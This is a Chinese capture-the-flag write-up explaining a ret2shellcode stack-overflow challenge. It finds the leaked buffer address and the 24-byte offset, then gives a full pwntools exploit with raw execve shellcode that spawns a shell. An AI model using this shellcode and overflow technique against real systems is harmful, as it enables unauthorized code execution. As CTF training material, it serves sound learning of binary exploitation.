ret2shellcode
0x1
拿到题目,首先看看文件类型,以及保护机制。
我们发现它缺少执行权限,加上权限后执行,是简单的输入输出,不过这里似乎给到我们了一个地址。
0x2
接下来,把程序拖入 ida,反汇编看看:
我们发现这个程序中并没有关于 flag 的相关信息,所以我们推测 flag 存放在服务器上。
还发现程序通过 read() 把输入存入buf[],也没有保护机制保护栈,这就给了我们栈溢出的机会。 还记得我们前面提到的那个输出的地址吗,从反汇编代码可以看出,它就是 buf 的地址。
0x3
这样我们就有了溢出思路,通过输入字符串一直覆盖掉 rbp,制造栈溢出。 通过题目名称 ret2shellcode,也能知道最后一定要获得 shell 的。但我并未在程序中发现关于获得 sh 的代码,那就只能自己写了。
0x4
梳理一下我们需要获得的信息:
- buf[] 的地址
- buf[] 与 rbp 的距离
- shellcode
( 1)buf[] 的地址,就在输出中,我们要想办法把它提取出来。
recvuntil
( delims , drop=False , timeout=default ) → 字节[ 资源]接收数据,直到遇到delims之一。
如果在
timeout
几秒内没有满足请求,所有数据都会被缓冲并返回一个空字符串 (''
)。
delims ( bytes , tuple ) — 分隔符的字节串,或分隔符字节串的列表。 drop ( bool ) – 删除结尾。如果参数:
True
它从返回值的末尾移除。Raises: **exceptions.EOFError** — 连接在请求得到满足之前关闭
返回值: 包含从套接字接收到的字节的字符串,或者`''`如果在等待时发生超时。
摘自: pwntools
( 2)距离
方法一:看汇编代码,buf[] 与 rbp 的距离:0x10 + 8 = 24~10~
方法二: peda 调试
gdb-peda pwn
pattern create 200 //制造200个填充字符(多少字符都行),先把他复制下来
r //运行程序
pattern offset 地址 //ret 地址,确定偏移
( 3) shellcode
- 可以自己编写, shellcode 开发入门
- 使用 pwntools 生成,shellcraft.sh()
0x5
exp:
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
# p = connect('challenge-47138fa4ef483fb7.sandbox.ctfhub.com',33570)
p.recvuntil(b'[')
buf_addr = p.recvuntil(b']', drop=True)
print(buf_addr)
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#shellcode = asm(shellcraft.sh())
payload = b"a"*24 + p64(int(buf_addr,16)+32)+shellcode
p.sendlineafter("Input someting :",payload)
p.interactive()
最后远程连接获取 flag:ls 发现有一个flag文件,cat flag 即可